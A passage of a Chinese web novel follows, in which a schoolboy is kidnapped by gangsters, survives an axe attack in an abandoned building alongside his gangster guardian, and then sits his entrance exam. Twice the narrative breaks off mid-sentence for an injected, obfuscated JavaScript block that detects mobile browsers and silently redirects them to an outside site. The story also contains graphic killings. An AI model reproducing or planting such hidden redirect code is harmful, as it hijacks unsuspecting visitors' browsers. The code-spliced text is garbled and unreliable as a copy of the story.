死人他从小见到大,根本不怕。况且也不是躺在桌子上死的,回去用艾叶烧水擦一擦就好了,反正已经快到端午。 他选择性忽略一部分事实,想能这么便宜买到这张桌子,前主人还是一中的学生,他白容生一定也能考上一中。 白容生已经快乐到遗忘了刚刚被追着跑的事情,因此当摩托三轮一个急刹时,他抬头还有点茫然。 随后他看清了那两人的脸,表情一沉。开车的老板儿子警惕地看着这两个骑在摩托车上拦路的混混,皱眉:“干什么啊?” 白容生知道这次逃不过,准备直接跳车,让老板儿子先把桌子送回去。 “不找你,找他。”骑车的那人一扬下巴,“小兔崽子真能跑,差点就被你给溜了。没找错吧,崔盛最近就天天把你带身边?” 他意外的是,白容生看着又瘦小又白净,几乎有点弱不禁风的样子,却格外冷静。 “你跟崔盛有仇吗?”他问,从车上跳下来,“要找我?” 说完,白容生把写着地址的纸条塞给老板儿子,让他先走。 两个混混也没为难他的桌子,只笑:“没办法,咱们兄弟在你哥手里,只好找你来个一换一了。小子溜挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168929|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早啊,去你学校都没堵到你,过来。” 之前的判断错误。 白容生被抓着上了摩托车,抱着包,在“千万不要出车祸”的祈祷中,被带到一个废旧的工地。 这里之前被外地老板盘下来准备建酒店,可惜老板不明白强龙不压地头蛇的道理,和这里的大混混、官员都杠上了。后来某天半夜,老板从他刚建成的酒店的楼顶跳了下去。 高耸的楼有十几层,只有一幢黑乎乎的建筑,底下长满野草,堆着垃圾,还有许许多多的杂物。白容生知道,不少通缉犯潜逃的时候,都在这里住过。 他穿着校服,安安静静站在那里,看着两个混混给崔盛打电话。 “过来。”一个混混把他揪过去,掐着他后脖颈,“抬头,叔叔给你拍张照。” 模糊的照片发过去,崔盛终于把电话打过来了。 “在哪?”他冷冰冰地问,“让他接电话。” 混混怪笑两声,拍拍白容生:“跟你哥打声招呼。” 白容生不知道说什么,第一次作人质没有经验,他只好干巴巴地叫了声“哥”。 崔盛没说话。 “一命换一命,崔盛,够不够?他娘的你还真想赶尽杀绝啊,兄弟们之前还是一起喝酒的,转头你就给叉子卖命,对着之前的兄弟捅刀!老子告诉你,今天你敢把我哥砍了,我就把你弟从楼上扔下去砸个稀巴烂。你他妈到时候就拿着铲子来收尸吧,狗日的!” 挂了电话,他转头盯着白容生。 “走,带他上楼。” 天已经黑得差不多了,楼里散发着怪味,只有他们的脚步声,如同鬼屋。白容生晚上还没吃饭,爬到五楼,说:“我走不动了。” 他被在头上扇了一巴掌:“上去,别逼老子打你。” 白容生磨磨蹭蹭地在楼梯上挪,心思不定。他可不认为崔盛会跑到这里来救他,现在只能靠他自己。 他还没中考,并不想死。还是说二手老板的迷信其实有用,他就不该铁了心来买这张死过人的书桌。 “你快点走。” 白容生被踹了一脚,索性脚下一绊,坐在楼梯上,说:“我摔倒了,扭到脚,真的好痛。” “你再给我装,现在就滚下去!” 手电筒微弱的光晃了晃,白容生呼吸屏住。想打他的混混被另一个抓住手,两人说了几句,估计是担心他们在崔盛手中的人质,勉强忍住了没打白容生。 白容生已经适应了这种黑暗,默不作声地扫视四周。 他得找机会逃出去,并且确保自己不会再被这两人抓回来。很困难,可他已经没有别的办法。 “已经六楼了。”拿着手电的混混说,“停一下吧,这小崽子虚得很。” 白容生看着实在是没有什么威胁,他们连绑都懒得绑。 空旷的走廊激起回声,白容生思考的目光忽然停住,看见走廊尽头竟然亮着灯。 不止是他,另外两个混混也看见了。这里经常会藏匿通缉犯,他们不想惹事,就伸手去抓白容生:“到楼上去。” 白容生还想找借口:“我……” 他们都被一声金属击打在地面的响声打断了。 手电向出声的地方照去,通向七楼的楼梯上,一个魁梧的男人,满头乱发满脸胡须,穿着破烂的外套,手里提着一把斧子。刚刚就是他的斧头砸在地上的声音。 光照过去的下一秒,男人拎起斧头,直奔他们而来。 白容生反应极快,二话不说就转头向楼下跑。那两个混混又要抓他,又要应付身后的男人,顿时破口大骂起来。 7. 第 7 章 铛、铛—— 楼梯的栏杆被狠狠敲了两下,白容生没回头,跑到五楼后转了个弯,专向黑暗的地方去。 多亏这烂尾楼之前是打算做酒店,走廊长且曲折,不止一条楼梯。白容生明白这完全是他的好运气,幸好撞上了一个凶恶的疑似潜逃犯的男人,且那个男人不分青红皂白就进行攻击,给了他逃跑的机会。 既然如此,他就得抓住这个机会,保住他的命。 刚刚迸发的力量开始消失,白容生心跳得很快,胸口一阵阵得疼,还得压制住呼吸,拼命不咳嗽出来。他躲在一个拐角,听着不远处的打斗声音,慢慢地继续后退。 不能直接这样跑下去,无论是两个混混还是那个男人,肯定都会接着追踪他。他应该先躲在这里,找准时间再跑。 白容生又饿又累,蹲在墙根好不容易缓了缓,蹑手蹑脚地继续向前走。 空旷的门洞和窗口里面更黑,如有实质。白容生差点踩到一只死老鼠,叹了口气,选择了一个房间。 这房间有三个出口,窗口也低,足够他轻松地爬出去。白容生体力不够,决定在这里等待。 运气好的话,就能平安逃走了。 他只是一个很普通的人,没必要让他体验恐怖□□电影吧? 一道急而重的脚步声迅速接近,白容生顿时紧绷身体。脚步声混乱不堪,夹着喘息,还没离他很近,就猛然停住,变成一声惨叫。 和惨叫同时发生的,是金属硬物砍进□□的、类似屠夫剁肉的声音。 白容生抱住头,装作是一株植物。黑暗中他睁着眼睛,听类似于垂死挣扎的动物的痛呼,以及稳定的、伴随着血液飞溅的水声的砍剁。 大概五六分钟后,一切结束了。凶手仿佛畅快地出了口气,踩着血泊,远离了这里。 白容生依旧没动。他逐渐闻到开始浓郁的血腥味,饿久了的胃有些想吐。 这是他第一次离杀人现场这么近,不过大脑里已经没有别的想法。 之后,白容生没再听见另一个人的响动。黑暗会混淆人对时间的感知,他不清楚具体过了多久,挪着发麻的腿,从另一个门出去。 手机傍晚就没电了,收在夹层里。两个混混估计是没想到他有手机,都没翻他的包。 白容生断绝了向方琴求助的念想,回到走廊上后,迟来的恐惧袭击了他。 会不会突然间,黑暗里出现一个拿着斧头的刽子手砍下他的头? 白容生不去想这件事,走钢丝一样找到楼梯口。下方如同深渊,他手心里都是汗。 四层、三层……白容生感觉像走了一辈子,因此当他注意到黑暗中迎面上楼的人时,脑子都要炸开了。 他立刻转身就想跑,后面那人更快,两步追上来,直接抓住他抱了起来。 白容生全身克制不住地发抖,喉咙里像被堵住了——直到他被抱进怀里,才艰难而缓慢地意识到什么。 “白容生?”崔盛的声音很低,也在不稳定地喘,手臂越发紧,抓得白容生难受,“是你吧?说话。” 白容生是完全没希望过崔盛会来救他的。他不知道现在几点,也不知道崔盛怎么会突然出现,但是他现在什么都想不了。 他只是凭本能地抱住崔盛的脖子,好半天只说出一个字:“哥。” 崔盛说:“嗯。” 他还想说什么,但也说不出来。抱着白容生差不多全身卸力,头低下去。 “我……”他酝酿半天,还没想好,肩膀就被重重打了一下。 白容生差不多是尖叫出来的:“哥!躲开!” 崔盛已经做惯了打手,有些时候身体对危险的本能反应比大脑还快。他下意识一侧身,放下白容生护到身后,让男人的一斧头落了个空。 咚! 斧头砸在台阶上,砸出空洞的回声。白容生全身紧绷,被崔盛推了一把:“跑!” 他混混沌沌往上跑,没跑几步,听见身后崔盛和那男人打起来,也不顾形象了,趴下去摸哪里有武器。 地上又脏又乱,白容生摸到一根钢管,再回头,他们已经推搡着下了楼梯。 崔盛身手比刚才两个混混强多了,男人没有机会再捡起斧头。不过崔盛并不能压制住他,两人僵持着扭打下楼梯,崔盛一边脸火辣辣得痛。 他听见白容生的脚步,头也不回命令:“别过来!你下去,快走!” 崔盛杀过人吗?白容生不知道,但他知道这个男人杀人分尸绝对是熟手。 如果崔盛死在这里,白容生不确定他之后能逃过。被一个杀人犯惦记上是不幸的,他也没能力离开这里,唯一的解法就是——彻底解决。 白容生从没打过架,洗头房就他一个小孩,周围的小孩不和他玩。上学后他也是最让老师放心的那类孩子,在学校脏话都不会说出口。 但是此刻这个念头迅速浮现,并且白容生立刻决定,不能手软。 他放弃了钢管,做出要逃跑的样子,将捡到的一块玻璃碎片握紧在手心。 这里太黑了,窗口那边还有点稀薄的光线。崔盛和杀人犯都想解决对方,默契地向那边移动,也帮助白容生看清了谁是谁。 他像个无声无息又敏捷的小动物,在那一刻攒足了力气,猛地跳起来从后面抱住男人的头,玻璃锋利的一角冲着眼睛的位置狠狠按下。 白容生听见男人的惨叫,眼前晕了两秒,才发现他已经被一把甩倒地上,全身发麻,甚至坐不起来。 窗外微弱的月光让他看见深色的液体从男人头上滴下,他不知道他有没有成功,但已经失去了对身体的控制力。高大的男人愤怒地弯腰,白容生下意识闭了下眼睛。 崔盛挡在他面前,接着没几秒,白容生听见什么坠落的声音。 他还愣着,听到崔盛急促地对他说“在这里等着”。随后崔盛大步冲下楼,消失在黑暗里。 明明进入了初夏,白容生看着外面的月亮,却觉得越来越冷。他举起手,看清自己手上也都是血,迟来的痛楚让他分不清这上面到底是谁的血。 可能过了很久,缓慢的脚步声逐渐接近。是崔盛,他脸上、身上都是灰尘和伤口,满脸疲倦,在白容生面前蹲下。 “来,我背你下去。” 白容生怕他背不动,但他确实也很难自己走。尝试失败后,趴上崔盛的后背。 崔盛托了把他的大腿,稳稳地背着他向下走。 在一楼,白容生看见一个人躺在地上。经过的时候他看清,是另一个混混。 “他死了?”他小声问。 “嗯。” 白容生想了想:“那刚才那个,掉下去的……” “摔死了。”崔盛简单地说。 酒店一楼很高,三层都有一般居民楼四五层的高度,人掉下去摔死并不奇怪。 可崔盛下去有一段时间,至少,白容生认为,不仅仅是确认那个人死没死。他不打算追问,静静地靠着崔盛的背,直到被崔盛放上停着的一辆摩托车后座上。 这个时间还能起来看病还不会报警的,就白容生所知,仅有洗头房附近的黑诊所。 第一次见崔盛的时候,把他送进这里,现在他们俩一起进来了。 被吵醒的大夫打着哈欠开灯,对崔盛没什么表情,看清白容生后,不由得惊讶了:“小白,你这是怎么搞的?” 白容生不知道怎么解释,把双手递出去,努力装得很可怜,避开问题:“叔,我要疼死了,先帮我看看吧。” 白容生整体伤势还好,清理完伤口,又脱下上衣,后背青红一大片。大夫经验丰富:“你就是太脆弱了,摔两下就不行。都是皮肉伤,养着吧。过来,打个破伤风。” 相比之下,崔盛在灯光下的伤势要吓人得多。毕竟在外面,白容生不好询问他,就趴在一边默默看他包扎。 知道他没吃饭,大夫还给他拿了瓶奶喝。 崔盛一只手腾出来,带着药味和绷带摸了摸白容生的头。白容生莫名其妙地看他一眼,把奶递过去:“你要喝?” 崔盛还真喝了一口。白容生想到崔盛多次吃他剩饭,也就不在意,继续拿回来喝了。 这次的账白容生不敢让他们再找洗头房,方琴如果知道,恐怕要把他骂死。他正想着怎么说赊账,那边崔盛掏出两张还沾着血的钞票放下,也不留下休息,招呼白容生:“走。” 凌晨的街道,哪怕是北城区,大部分地方也是漆黑安静的。崔盛摩托车开得不快,白容生坐在后面抱着他的腰靠着他的背,在颤动中开始犯困。 吱——车突然停下。白容生有点应激地猛一抬头,看见路边还有家摊子亮着灯,摊主正要收摊。 这里靠近市中心,治安比北城区好一些,晚上的摊贩也多。崔盛停好车,让白容生继续坐着,他过去问摊主。 摊主是个老太太,两人说了几句,崔盛放下钱,老太太又开火煮面。她马上收摊,东西也不多,抓了剩下的手擀面后又加上没卖完的米粉,一起煮了热腾腾的两碗。 崔盛一手提面一手提汤走回来,白容生主动伸手接过,摩托车掉头驶回那个旧房子。 等进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168930|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,白容生才发现那张书桌已经摆在卧室里了。崔盛找碗把混着米粉的面和汤一起倒进去:“我让人把桌子摆好了,你看看位置怎么样?” 白容生挺开心,进去开灯欣赏了一会才出来:“太好了,哥,明天我把桌子好好擦一擦就能用了。” 崔盛:“我的问题,忘了你学习得有桌子。还缺什么,跟我说,我这两天给你买。” 白容生说不用了,崔盛看他一眼,没追问:“来吃饭。” 手擀面宽而劲道,米粉有些软了,都浸泡在鲜香的牛肉汤里,上面浮着一层红红的辣油。肉卤的时间久,软烂入味,白容生头都不抬,这次彻彻底底吃了一整碗。 崔盛:“还要吗?我再给你下碗方便面。” “不不,我吃饱了。”白容生后知后觉吃撑了,对着空碗发了会呆。崔盛比他先吃完,拿起两个碗放进洗碗池。 “哥。”白容生总算可以思考了,“今天到底是怎么回事?” 水流声哗啦哗啦的,崔盛将洗洁精冲干净后随便将碗一叠,甩手转身:“没什么,事情本来不大……就是不该连累到你。这段时间直到你考试我都接送你,和叉子请过假了,等到高中,你就住校。” 他的回避和敷衍让白容生心生不满。他很小的时候在洗头房,就能参与几个姐姐的讨论,从来没有因为年纪小被看不起过。 崔盛还不知道他因为什么不高兴,继续说,“住宿费什么的都由我出,你放心,怎么都能让你上完高中。” 白容生:“哥。我就是想知道今晚发生了什么,没有怪你也没有怨你,我也很感谢你跑过去把我救出来。如果你不想回答可以直接拒绝我,不要跟我打太极。” 崔盛顿了顿,难得认真地仔细看了看白容生。白容生脸仰着,瞪着他,一点都不让步。 过了会,崔盛回到餐桌前坐下。他不擅长妥协和让步,想了想,生硬地直接说:“我跟他们三个人以前算是邻居,都在大宏手下干事。他们三个是堂兄弟,关系当然更亲近。后面叉子来了,你也知道,我去叉子那里,他们是要骂我忘恩负义的。” 他边说边思考,但那些事确实干巴巴的没有新意和看头。再往前十年,老一辈混混们还是比较讲究江湖道义的,现在没有多少人在乎这个。 有的人做混混是追求刺激,有的人是想出人头地干出事业,至于崔盛,他只是觉得干这个来钱快还多,是最满意的一份工作。 叉子给的钱更多,他就换个大哥,这没什么问题。 三兄弟看不惯他薄情寡义,尤其是他在叉子的要求下对还忠于大宏的人赶尽杀绝的时候——他把曾经的“兄弟”抓过去打了一顿,没想到他们就急着把白容生绑走了。 崔盛也觉得挺奇怪的,之前从没人能用人质来威胁他,但这次白容生不一样。他想白容生又瘦又小,还没同龄的部分女生高,白且尖的脸,心思很重,用那双漆黑的眼睛仔细地观察人。 他不愿意白容生因此被砍下要读书学习的手,或者在荒地里摔成一团肉泥。 不管怎样,是他办事不干净,导致白容生被连累。崔盛等着白容生发火,或者离开,毕竟白容生根本不是他在街边捡来的流浪动物,他不是无处可去。 白容生听完后,哦了声:“那被你抓走的那个人呢?” 崔盛一怔,随即回避地移开目光,不是很想回答。白容生就明白了。 混混们基本都这样,要么无声无息死去,要么事业做大后死去或者去坐牢,少部分及时退出,像个普通人一样回归生活。白容生在洗头房见过很多人就这样来来去去,这次他清晰意识到,不止那些人,崔盛也一样。 某天崔盛可能也会突然死掉。 他说:“哥,我困了。” 崔盛立刻说:“去睡觉。” 白容生站起来,严肃地说:“还有件事,哥,我明天肯定起不来,你作为家长,要打电话给老师请假。” 他是怕崔盛不愿意履行这种职责。以前方琴就不爱这样,嫌弃这显得她老气,毕竟她声音那么甜美,老师听了也不一定相信,白容生就经常跑诊所找大夫打电话。 崔盛却一口应下:“没问题。”他罕见得有点欲言又止,直到看着白容生换上睡衣躺下,才坐在床边问,“你不走了?” 白容生泛着困:“走哪里?” 过了几秒,他说:“哥,你……你能为我杀人,我不会走的。” 崔盛低头看着他的脸,白容生说完话没多久就闭上了眼睛,睡熟过去。崔盛脱了外衣躺在床另一边,想杀那两个人算什么。 8. 第 8 章 准考证终于是发下来了。白容生把信息抄下来后班主任又收回去,考试时候再给他们,免得这群不靠谱的猴子给弄丢。 正如之前黎敏所说,他们在同一个学校考试,考场很远。黎敏再次邀请白容生一起坐她爸的车,白容生放学的路上问崔盛怎么想。 崔盛心底并不想他坐同学的车,中考就那三天,叉子的势力范围基本稳定了,这段时间没多少事,他完全可以全程陪考。不过他没车也不会开车,摩托车——尽管他不愿意承认——还是有点危险。 路边有卖椰子的,崔盛停下来买了一只,劈开后插根吸管就能捧着喝。白容生捧着喝了几口就不喝了,谨记考试前注意饮食免得胃疼,递给崔盛。 崔盛接过去喝,被那股怪味刺激得皱眉,嫌弃地几口咽下去。椰子壳没扔,他拎回去放在窗台上,转头问:“去考场那边住几天算了,这样最保险。” 这以前是白容生的计划,不过钱都花给书桌了。他犹豫着,崔盛告诉他:“你只要考试就行了,我去看看那边的宾馆,钱算我的。你要真的介意,工作了再还我吧。” 白容生终于点头,崔盛摸了摸他的头发:“别跟你哥分那么清。” 桌面还散发着苦涩的艾草味。天气热了,崔盛买了台新的立式风扇,转着头在白容生椅子后吹风。他埋头做了几道数学大题,再对答案,一直紧绷的心好像稍微有了些底。 学校实在太烂,除了比较正规的一模二模还参加,其他几个学校的联考都不带他们。白容生最后这段时间学习状态最好,时间也充足,他自信他水平提高了,只是不知道提高多少。 如果和全市的学生比,能够让他进入一中吗? 白容生望了眼窗外,早就没有了怨怼,只是平静地想,他想要一个好的生活,真是要付出太多代价。 崔盛做事雷厉风行,回来后说宾馆已经定好了,让白容生别多想,专心考试。 几天后,白容生小心装好准考证,跟崔盛一起坐上公交去考点。 他临考前反倒不那么焦虑了,也做好了接受所有结果的准备。不过就算这样,坐车的时候还是见缝插针地背历史。 车上人不少,白容生坐着。崔盛就站在他旁边,漫不经心地听着mp3里的歌,摇摇晃晃地过了一站又一站。 宾馆是双人间,两张单人床,环境还不错,是白容生住过最好的房间了。他还想坐下看书,崔盛把书按上:“再看眼睛要瞎了,走,吃饭去。” 白容生处于一种食欲不振的状态:“吃什么?” 考前必须吃清淡干净的,崔盛也不带他吃路边摊了,找了家整洁的快餐店,点几道稳妥的菜:“吃吧。” 白容生也知道不吃饭不行,慢吞吞地开始吃。崔盛却不急着吃,起身去外面转了圈,等白容生快吃完了才回来。 他先把一袋子东西交给白容生,再坐下吃:“你看看还有什么需要的吗?” 白容生有点惊讶,接过来看,里面有一个文具套装、纸巾、风油精、一条巧克力、一罐能量饮料,甚至还有两包红糖。他把红糖拿出来:“你怎么这个都买?” 崔盛:“我问了一个带孩子买东西的家长,照着他的买,有问题?” 白容生比他了解一些,无奈道:“一般是女孩子喝这个。算了算了,都是糖,都一样。” 洗头房每月固定煮几次红糖水或者红糖鸡蛋,白容生小的时候跟着蹭了不知道多少碗。长大后明白了这是女生吃的,就不愿意吃,但有时候他不吃还会被硬喂。 下午可以去看考场,崔盛勉强换上比较正经的衣服。他左肩后有一大片纹身,领子拉高一点才能遮住,头发虽然没染,但两侧剃得很短,看着就脾气不好。 白容生跟他进去的时候,门卫额外多盯了崔盛两眼。崔盛敏锐地注意到,眯着眼看回去,白容生一把抓住他的手:“哥,帮我拿着水。” 走远了,崔盛才说:“别担惊受怕的,我还能跟门卫吵架吗?” 白容生唔了声,崔盛又说:“还是嫌弃我丢脸了?” 这个白容生确实没感觉,崔盛只是长得不像好人,但也不丑,理所当然地回答:“不会,怎么会嫌弃你?” 崔盛:“行了,考场在哪?” 考点学校环境很好,建筑古典,绿树成荫。白容生自己跑上楼去看考场,趴在窗玻璃外数他的座位——在靠窗的位置。 他转身看,考场在二楼,能看见外面茂密的树叶,风中轻轻摇曳着。 崔盛坐在楼下的长亭里等他,亭子上爬满了不知名的植物。他虽然在白容生面前总是和气好说话的,但浑身匪气收不住,那些等孩子的家长都不愿意坐他旁边。 等白容生下楼,他起身迎过去,看见白容生满脸心不在焉的表情。 “想什么呢?”逆着人流向外走,崔盛问他。 “觉得不真实,特别不真实。”白容生用一种的梦游的口气回答。太阳偏斜,阳光柔和许多,他也有点发晕,“我就要来中考了,还没想好暑假做什么。” “考完再说。”崔盛观察完他,凭借自己的思路给出诊断,“你应该去睡觉了。” 白容生的反抗被镇压,崔盛压着他回到宾馆草草洗个澡睡觉,禁止他再看书。 他本以为会睡不着,没想到刚躺下没多久就失去了意识。甚至外面太阳还没落下。 第二天早上,白容生被崔盛叫醒的时候,还有种没回过神的错觉。他看了眼时间,匆忙爬起来洗漱,都没看早饭是什么就塞进嘴里,拿着小小一本必背文言文离开宾馆。 上午语文下午数学,白容生考出一种如在梦中的感觉。中午考完出来,崔盛把饭买在宾馆,白容生吃完靠在椅子上,突然坐起来说:“我觉得我的默写有个字写错了。” 崔盛:“停,考完就别想了。” 白容生注意力被转移:“你还会说这种话?” 崔盛神秘地笑了笑。语文考试这两个多小时,他没事干,在校门口旁听那些家长交谈,学了许多新鲜话术。 下午考完数学出来后,白容生脸上没什么表情。崔盛察言观色,立刻知道不要询问考试相关,转而问他喝不喝鸡汤。还挺神奇的,他自小就跟学习没什么缘分,现在为了白容生学会了不少针对考生状态的交谈技巧。 香菇鸡汤面条,里面加了鸡丝,鲜香的一大碗。白容生捧起碗连汤都喝了干净,坐在窗边开始背单词。 他理科不差,就政史和英语比较弱势。崔盛旁听了几句洋文已经快要睡着了,就起身出去散步,留白容生一个人背书。 走他也没走多远。这里不像北城区,崔盛没来过几次,蹲在宾馆楼下的路边抽烟,心想C市还是蛮大的。 叉子这样不择手段、雄心壮志,都不能把整个C市拿下。再过两年,还不知道什么样呢。 从前崔盛觉得哪天被人一刀捅死也无所谓,出来混江湖都得有这种觉悟才能混出头。不过现在,他不这样想了,因为白容生在楼上背书。 等待通常是无聊的,崔盛此时却觉得很平静。 第二天考完英语和政史后,只剩下第三天的物化了。考完后白容生依然很沉默,吃完饭就坐下看题。 不过崔盛要出门的时候,他转头说:“哥,你留下吧。”天气闷热,崔盛出去大概率也就是吹热风。宾馆有空调,白容生还是不想让他出去受罪,留下来也吵不到什么。 崔盛对他少见的请求一般是尽量满足,坐在床尾看静音电视。 第三天只考半天,临近结束的时候已经快中午,气温升高。监考老师把教室前后的电风扇打开,聊胜于无。 白容生答题意外得顺利,提前五分钟写完全部,翻动试卷检查。他偏头看向窗外,看到阳光穿透浓绿的枝叶,仍然感觉不可置信——他就这样中考结束,并且堪称是顺利结束。 最后一场,等在校门外的家长格外多,还有大堆的人发广告,全是补习班。崔盛只接了一把蓝色塑料扇子扇风,站在树底下抽烟。 他视力好,即使离得远,白容生出校门后也一眼看见。 崔盛掐掉烟走过去,半途白容生也看见他,挤开人群走过来,手里稀里糊涂收了一堆花花绿绿的广告纸。 “开心吗?”崔盛没问考试。一是因为他认为这种考试完全没必要,纯粹折磨人,二是他盲目信任白容生不会考差。 白容生站在他面前,额头上出了点细汗,表情意外严肃,沉默地注视崔盛。 崔盛被他看得有点紧张:“怎么了,出了什么问题?” 白容生深吸口气,忽然整个人跳起来,抱住崔盛的肩膀,用力搂了一下。 他性格其实是偏向内敛的,冷不丁来这么一出,还把崔盛吓了一跳,下意识伸出双手托住他的大腿。 白容生抱完就有点不好意思,手放松开搭在崔盛肩上,平视他说:“我考完了!” 崔盛嗯了声,手臂一用力,把白容生往上一抛再接住,笑道:“想吃什么?” 白容生被他吓得把广告纸都扔了,忙挣扎着下来,摇摇头:“不知道,不怎么饿。我们先回去吧。” 回去的公交不好挤,崔盛大方地叫了辆出租车,说:“挥霍一把,晚上我得回去上班了。” 白容生迟疑片刻,说:“哥,我考完试,也能去你那上班。” 崔盛想都没想:“你不行。” 白容生对他生硬的拒绝不满道:“我怎么不行?我是看网吧和台球厅的熟练工……” 崔盛瞥他一眼。像白容生这种上进读书且成绩还不错的,都是他一向看不上的“好孩子”,不过白容生属于例外,和那些好孩子不一样。但不管怎么说,好孩子都不属于那些环境。 “放假就好好休息。”崔盛不咸不淡地说,“我挣的钱够花,不要你去跑腿,别人看见还得指点我没用,连个上中学的弟弟都养不起。” 没争执出个对错,回去后,白容生看着床,也不去想钱够不够了。他太疲惫,闭眼一躺就失去了意识。 他睡后,崔盛叼着烟在客厅把家里所有的钱都翻出来数了一遍。他跟不少混混一样,没有将钱存在银行的习惯,必须握在手里才安心。 数完钱,崔盛拿着手机边打电话边出门。他找了叉子最信任的左右手“铁算盘”,一个瞎了右眼的前会计,在里面蹲过三年多。 “算盘哥,”崔盛说,“家里小孩考完试了,晚上给我点动手的活,热热身子。” 等白容生睡醒,窗外已经是夕阳西下。他翻身起来,有种恍如隔世的做梦感,甚至打了个冷战,以为自己睡过头,手脚并用地爬到床头抓起书包掏出手机,确定日期时间,确实是考完试了。 白容生倒回去,手脚摊开,叹了口气。 睡完后他开始饿,揉着翘起的头发走出卧室,诧异地看见餐桌被搬到客厅。崔盛背对着他,在厨房不知道搞什么。 “哥?”白容生顺口问,“在做什么?” “煮个火锅。”崔盛把粗糙切好的菜和肉装进盘子,端出来,指使白容生,“电磁炉会不会用?插电开火,我刚去楼下借的。” 白容生当然会,调到火锅模式,蹲在那里仰头问:“我们自己煮?” “嗯。”崔盛单独给他切了一盘牛肉和羊肉,“喏,接过去,考试辛苦了。” 白容生对他笑了笑,漆黑的眼睛清澈明亮。崔盛低头看他,便顺手将拇指上沾着的一小片菜叶抹在白容生脸上。 白容生顿时不高兴地起身去洗手洗脸,崔盛把卧室里的风扇搬出来,将火锅底料扔进锅里。 等着火锅煮开的时间,崔盛和白容生有一搭没一搭地聊天。 “你不是想去一中?怎么去,考 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崔盛笑笑,转移话题:“我看着过两天给家里装个电视,再给你加个书柜,卧室的灯也太暗了。我听说他们一般都给孩子买个台灯学习,是吗?” “啊?”白容生不明白他怎么突然列出好几个东西,“不用吧,我觉得现在这样就挺好了。” 崔盛已经打定主意,和他的商量就是走个形式,根本不采纳白容生的意见:“那就这么说,我多少还是了解了一点,上个学要买的东西还挺多啊。” 白容生不想让他多花钱,他不喜欢欠别人太多,严肃地再次声明:“真不要,哥,而且我觉得我很可能去一中,到时候住校,你买了我也用不上。” 崔盛去嗡嗡作响的老冰箱里拿出两罐冰啤酒,开了一罐,盯着白容生:“怎么了,怕花我的钱?” 白容生面色不改:“我是觉得没必要的钱都可以不花,哥你赚钱也不容易……” 崔盛浅色的眼睛在他身上滑了一遍,冷笑一声。白容生不说话了,好一会说:“哥,我不想欠你太多。你已经对我很好了。” 崔盛喝完一口酒才说:“白容生,有时候我觉得你真是养不熟。” 白容生莫名也有点火气,按捺下去:“我是不想浪费你的钱,你怎么这样说我?” 哪知崔盛瞟他一眼,拿起筷子夹了两片羊肉放他碗里:“肉要煮老了。” 白容生:“你回答我的问题!” “还会生气,不错。”崔盛喝了几口酒后,继续说,“我是觉得,那天晚上我把你从那个破酒店带出来后,以后我哪天突然死了,你会给我收尸的,对吧?” 白容生面无表情,他把羊肉塞进嘴里,咀嚼的时候带着怒气:“对,怎么,你这是提前给我留遗言吗?” “那就对了。”崔盛轻描淡写,“所以我的钱也都是你的钱,别跟我分那么清。” 白容生不想说话。 啪。 崔盛将另一罐啤酒打开,放在他面前。金黄色的酒液冒着气泡从开口涌出,带着酒精味。 “干杯吧。”崔盛说,“是我刚才说话不好听,我跟你认错。” 白容生慢慢地抬头看他一眼,和崔盛碰了杯,喝下啤酒的时候皱了皱眉。 洗头房的人没有人不碰烟酒的,白容生却不怎么沾这些。他觉得酒很难喝,只在逢年过节的时候跟着凑一杯热闹。 而崔盛看着他仍旧跟小孩似的一张小白脸,内心怀疑白容生还能不能长大。 吃完饭崔盛去还电磁炉,白容生洗碗。等他洗完擦干净手,回头看见崔盛已经在沙发上睡着了。 白容生轻手轻脚走过去,看了看崔盛的脸,后知后觉地意识到这几天陪考,崔盛这个小混混竟然是个像模像样的陪考家长。不管怎样,都是合格的。 每天都比白容生早起,晚上等白容生睡了再睡,每场考试都等在外面而不是回宾馆休息,买饭都精挑细选…… 白容生想就是他亲哥来了,也不过就是到这个地步。 他蹲在沙发边,细长的手指无意识在地板上画不规则的图形。他希望崔盛能平平安安活到他考上大学,在大城市找到工作,到时候他就把崔盛接过去。 大城市的生活只存在电视节目和白容生的想象里,缺乏具体的细节但充满美丽的景象,他相信那时他会是幸福的。 然而去学校填报志愿之前,崔盛把白容生叫住了。 “白容生。”他极少叫白容生的全名,关掉客厅的二手电视,“过来。” 白容生正准备收拾书包去学校,迷茫地走到客厅:“怎么了?” “一中下面不能填三中。” “……为什么?” 崔盛:“我还想问你呢,考不上一中就去最烂的三中?不是他们跟我说,我还不知道。” 归功于崔盛最近看场子的KTV有个新人是正经高中毕业的高学历,崔盛对于本市几个高中有了比较准确的认识,并且立刻觉得白容生是胡闹。 白容生:“三中离家近。” 崔盛:“它就是在我们家都不行。你今天把志愿改了再交。” 提交志愿完全是学生自己操作,白容生可以假装答应,填写的时候我行我素就是。不过他连嘴上都不肯服软,坚持说:“不改。” 崔盛皱眉,白容生不理会他,蹲下去换鞋。 “你别故意气我。”过了会,崔盛无师自通,“不然我去找你老师谈谈。” 白容生转身瞪他,崔盛却说:“你不是要为了更好的未来吗?考上大学,离开这里,为了这个,不能乱搞。我宁愿你三年都住校不回来。” 崔盛竟然有这样讲道理且理智的时候,白容生的倔劲慢慢少了下去。好一会,他不情愿地说:“我知道。” 崔盛也不怎么会说好话,想了半天,挤出一句:“去填志愿吧,我相信你能上一中。” 9. 第 9 章 